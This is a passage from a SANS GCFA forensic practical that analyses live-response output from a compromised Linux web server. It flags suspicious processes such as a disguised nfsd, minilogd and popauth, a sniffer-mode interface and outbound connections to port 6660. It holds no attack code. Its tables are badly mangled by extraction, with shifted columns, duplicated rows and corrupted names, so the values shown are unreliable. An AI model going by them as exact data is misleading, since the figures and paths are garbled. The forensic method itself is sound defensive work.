nfsd 19810 root 8r DIR 3,5 2048 40961 /bin
nfsd 19810 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
nfsd 19810 root 16u IPv4 361623 TCP *:https (LISTEN)
File & path of interest
nfsd 19810 root 17u IPv4 361624 TCP *:http (LISTEN)
File & path of interest
nfsd 19810 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
nfsd 19810 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
nfsd 19811 root cwd DIR 3,5 1024 2 /
nfsd 19811 root rtd DIR 3,5 1024 2 /
nfsd 19811 root txt REG 3,2 242909 133050 /usr/sbin/nfsd
File & path of interest
nfsd 19811 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
nfsd 19811 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
nfsd 19811 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
nfsd 19811 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
Table 6. Suspicious events from lsof.txt

The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weid, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

"/usr/sbin/nfsd -f /sbin/sshd_config"

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>10606</td>
<td>0</td>
<td>1</td>
<td>79844</td>
<td>1340</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10607</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10608</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10609</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10610</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10611</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10612</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10613</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>Priority</td>
<td>PPID</td>
<td>Ppid</td>
<td>%CPU</td>
<td>Time</td>
<td>Command</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>------</td>
<td>----------</td>
<td>------</td>
<td>------</td>
<td>------</td>
<td>------</td>
<td>--------------------------------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1256</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1248</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>5648</td>
<td>416</td>
<td>? S</td>
<td>Jun-29 minilogd</td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>1336</td>
<td>200</td>
<td>? T</td>
<td>Jun-29 /usr/bin/weit</td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>48</td>
<td>8</td>
<td>? S</td>
<td>Jun-29 popauth</td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>? E</td>
<td>Jun-29 [weit &lt;defunct&gt;]</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The `lsmod.txt` file was analysed to look at what kernel modules were loaded. A module that required further investigation was `nls_iso8859-1`.

The `netstat-routes.txt` file showed no added routes. The `ifconfig.txt` file did show the `eth0` interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the `proc-filelist.txt` file provided little benefit. The command used was a directory listing using `ls -al` of the `/proc` filesystem. The command should have included the command switch for recursive listing of the `/proc` file system, the correct command is `ls -alR`. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the `*.txt` files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

- `nfsd XXX.XXX.2.23 6660 .X`
- `popauth weit minilogd`
- `soundcore sshd_config nls_iso8859-1 services`

The date of interest is June 29, 2003 and paths to investigate from live response output are:

`/tmp/.s`
./x
/usr/bin
/usr/sbin
/sbin
Live response File listings

`starttime.txt`

Mon Jun 30 17:18:51 CST 2003

`w.txt`

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

<table>
<thead>
<tr>
<th>USER</th>
<th>TTY</th>
<th>FROM</th>
<th>LOGIN@</th>
<th>IDLE</th>
<th>JCPU</th>
<th>PCPU</th>
<th>WHAT</th>
</tr>
</thead>
<tbody>
<tr>
<td>userid1</td>
<td>pts/0</td>
<td>23Jun03</td>
<td>7days</td>
<td>0.00s</td>
<td>?</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>userid1</td>
<td>pts/1</td>
<td>23Jun03</td>
<td>38:58</td>
<td>0.22s</td>
<td>0.00s</td>
<td>ls &lt;defunct&gt;</td>
<td></td>
</tr>
<tr>
<td>userid1</td>
<td>pts/2</td>
<td>Fri</td>
<td>8am</td>
<td>4.00s</td>
<td>0.71s</td>
<td>0.01s /mnt/cdrom/nc 1</td>
<td></td>
</tr>
<tr>
<td>userid1</td>
<td>pts/3</td>
<td></td>
<td></td>
<td>4:44pm</td>
<td>0.15s</td>
<td>0.07s ~bash</td>
<td></td>
</tr>
</tbody>
</table>

`netsat-sockets.txt`

Active Internet connections (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID/Program name</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>657/rpc.statd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:199</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8154/snmpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6000</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1066/X</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:18</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>19811/nfsd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:22</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>842/sshd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>127.0.0:125</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>916/sendmail: accep</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4149</td>
<td>192.168.1.120:1111</td>
<td>ESTABLISHED</td>
<td>29208/nc</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4147</td>
<td>XXX.XXX.2.23:6660</td>
<td>SYN_SENT</td>
<td>19941/services</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4147</td>
<td>XXX.XXX.2.23:6660</td>
<td>SYN_SENT</td>
<td>19936/services</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>657/rpc.statd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1031</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>19936/services</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:161</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8154/snmpd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:3049</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>19815/popauth</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:123</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>790/ntpd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>127.0.0:123</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>790/ntpd</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:123</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>790/ntpd</td>
</tr>
<tr>
<td>raw</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6</td>
<td>0.0.0.0:*</td>
<td>7</td>
<td>-</td>
</tr>
</tbody>
</table>

Active UNIX domain sockets (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>RefCnt</th>
<th>Flags</th>
<th>Type</th>
<th>State</th>
<th>I-Node</th>
<th>PID/Program name</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1638</td>
<td>935/gpm</td>
<td>/dev/gpmctl</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>551280</td>
<td>19635/minilogd</td>
<td>/dev/log</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1704</td>
<td>1005/xfs</td>
<td>/tmp/.font-unix/fs7100</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2256</td>
<td>1192/artsd</td>
<td>/tmp/mcp-userid1/rhl-04a8-3ef74460</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1789</td>
<td>1066/X</td>
<td>/tmp/X11-unix/X0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2158</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/ICE-unix/dcop1178-105592280</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2285</td>
<td>1210/kdeinit: ksme</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2151</td>
<td>1175/kdeinit: Runni</td>
<td>/tmp/ksocket-userid1/kdeinit-0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2182</td>
<td>1181/kdeinit: klauncherBcdBga slave-socket</td>
<td>/tmp/ksocket-userid1/klauncherBcdBga slave-socket</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>[ ACC ]</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>280021</td>
<td>6135/kdesud</td>
<td>/tmp/ksocket- userid1/kdesud:0</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715235</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/ICE-unix/dcop1178-105592280</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715234</td>
<td>29110/cdrom</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715231</td>
<td>1210/kdeinit: ksme</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td>[ ]</td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715230</td>
<td>29110/cdrom</td>
<td>/tmp/ICE-unix/1210</td>
</tr>
</tbody>
</table>
unix 3 [ ] STREAM CONNECTED 2310 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2305 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2304 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2294 1210/kdeinit: ksmse /tmp/.ICE-1210
unix 3 [ ] STREAM CONNECTED 2293 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2290 1066/X /tmp/X11-UNIXXO
unix 3 [ ] STREAM CONNECTED 2289 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2280 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2279 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2276 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2275 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2267 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2189 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 2188 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2187 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/.font
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/crond
unix 2 [ ] DGRAM 1621 916/sendmail: accept
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1505 790/ntpd
unix 2 [ ] DGRAM 1264 770/ acted
unix 2 [ ] DGRAM 1124 657/rpc.statd

lsof.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td></td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
<tr>
<td>kaped</td>
<td>3</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>kaped</td>
<td>3</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>kaped</td>
<td>3</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
<tr>
<td>ksoftriq</td>
<td>4</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>ksoftriq</td>
<td>4</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>ksoftriq</td>
<td>4</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
<tr>
<td>bdfshuc</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>bdfshuc</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>bdfshuc</td>
<td>6</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td>15606</td>
<td>dev/initctl</td>
</tr>
</tbody>
</table>
kupdated 7 root cwd DIR 3,5 1024 2 /
kupdated 7 root rtd DIR 3,5 1024 2 /
dmdrecover 8 root cwd DIR 3,5 1024 2 /
dmdrecover 8 root rtd DIR 3,5 1024 2 /
dmdrecover 8 root 10u FIFO 3,5 1024 2 /
kjournald 12 root cwd DIR 3,5 1024 2 /
kjournald 12 root rtd DIR 3,5 1024 2 /
kjournald 12 root 10u FIFO 3,5 15606 /dev/initctl
khubd 91 root cwd DIR 3,5 1024 2 /
khubd 91 root rtd DIR 3,5 1024 2 /
khubd 91 root 10u FIFO 3,5 15606 /dev/initctl
mdrecover 8 root cwd DIR 3,5 1024 2 /
mdrecover 8 root rtd DIR 3,5 1024 2 /
mdrecover 8 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 186 root cwd DIR 3,5 1024 2 /
kjournald 186 root rtd DIR 3,5 1024 2 /
kjournald 186 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 187 root cwd DIR 3,5 1024 2 /
kjournald 187 root rtd DIR 3,5 1024 2 /
kjournald 187 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 188 root cwd DIR 3,5 1024 2 /
kjournald 188 root rtd DIR 3,5 1024 2 /
kjournald 188 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 188 root cwd DIR 3,5 1024 2 /
kjournald 188 root rtd DIR 3,5 1024 2 /
kjournald 188 root 10u FIFO 3,5 15606 /dev/initctl
kjournald 189 root cwd DIR 3,5 1024 2 /
kjournald 189 root rtd DIR 3,5 1024 2 /
kjournald 189 root 10u FIFO 3,5 15606 /dev/initctl
rpc.statd 657 root cwd DIR 3,6 1024 20084 /var/lib/nfs/statd
rpc.statd 657 root rtd DIR 3,5 1024 2 /
rpc.statd 657 root txt REG 3,5 28040 71832 /sbin/rpc.statd
rpc.statd 657 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
rpc.statd 657 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
rpc.statd 657 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
rpc.statd 657 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
rpc.statd 657 root 0u CHR 1,3 9637 /dev/null
rpc.statd 657 root 1u CHR 1,3 9637 /dev/null
rpc.statd 657 root 2u CHR 1,3 9637 /dev/null
rpc.statd 657 root 3u unix 0xc7745040 1124 /dev/rpc.statd
rpc.statd 657 root 4u IPv4 1163 UDP *:1024
dmrecover 8 root 5u sock 0,0 1142 /dev/cm70
rpc.statd 657 root 6u IPv4 1166 TCP *:1024 (LISTEN)
apmd 770 root cwd DIR 3,5 1024 2 /
apmd 770 root rtd DIR 3,5 1024 2 /
apmd 770 root txt REG 3,2 16488 130672 /usr/sbin/apmd
apmd 770 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
apmd 770 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
apmd 770 root 0u CHR 1,3 9637 /dev/null
apmd 770 root 1u unix 0xc7745540 1264 /dev/apm_bios
ntpd 790 root cwd DIR 3,5 1024 2 /
t NDP 657 root rtd DIR 3,5 1024 2 /
tpd 790 root txt REG 3,2 16488 130672 /usr/sbin/ntpd
ntpd 790 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
ntpd 790 root mem REG 3,5 39215 63574 /lib/libcap.so.1.10
ntpd 790 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
ntpd 790 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
ntpd 790 root 0u CHR 1,3 9637 /dev/null
ntpd 790 root 1u CHR 1,3 9637 /dev/null
ntpd 790 root 2u CHR 1,3 9637 /dev/null
ntpd 790 root 3u unix 0xc7745540 1264 /dev/socket
ntpd 790 root 4u IPv4 1496 UDP *:ntpd
ntpd 790 root 5u IPv4 1497 UDP rhl:ntpd
ntpd 790 root 6u IPv4 1498 UDP 192.168.2.15:ntpd
sshd 842 root cwd DIR 3,5 1024 2 /
sshd 842 root rtd DIR 3,5 1024 2 /
sshd 842 root txt REG 3,2 250824 130727 /usr/sbin/sshd
sshd 842 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
sshd 842 root mem REG 3,5 173359 63574 /lib/libcap.so.1.10
sshd 842 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
sshd 842 root mem REG 3,5 89424 63507 /lib/libnss1-2.2.5.so
sshd 842 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root 0u CHR 1,3 9637 /dev/null
sshd 842 root 1u CHR 1,3 9637 /dev/null
sshd 842 root 2u CHR 1,3 9637 /dev/null
sshd 842 root 3u IPv4 1508 TCP *:ssh (LISTEN)
xinetd 875 root cwd DIR 3,5 1024 2 /
xinetd 875 root rtd DIR 3,5 1024 2 /
xinetd 875 root txt REG 3,2 1508 1401027 73730 /lib/i686/libc
© SANS Institute 2004, Author retains full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

Page 111

cron 953 root 1w FIFO 0,5 1657 pipe

cron 953 root 2w FIFO 0,5 1658 pipe

cron 953 root 3u REG 3,6 4 3817 /var/run/crond.pid

cron 953 root 4u unix 0xc6b8b0c0 1661 socket

xfs 1005 root cwd DIR 3,5 1024 2 /

xfs 1005 root rtd DIR 3,5 1024 2 /

xfs 1005 root txt REG 3,2 46117 63531 /lib/libnss_hisplus-2.2.5.so

xfs 1005 root mem REG 3,5 89424 63507 /lib/libnss_nisplus-2.2.5.so

xfs 1005 root 0u CHR 1,3 9637 /dev/null

xfs 1005 root 1u CHR 1,3 9637 /dev/null

xfs 1005 root 2u CHR 1,3 9637 /dev/null

xfs 1005 root 3u REG 3,6 6 38177 /var/run/xfs.pid

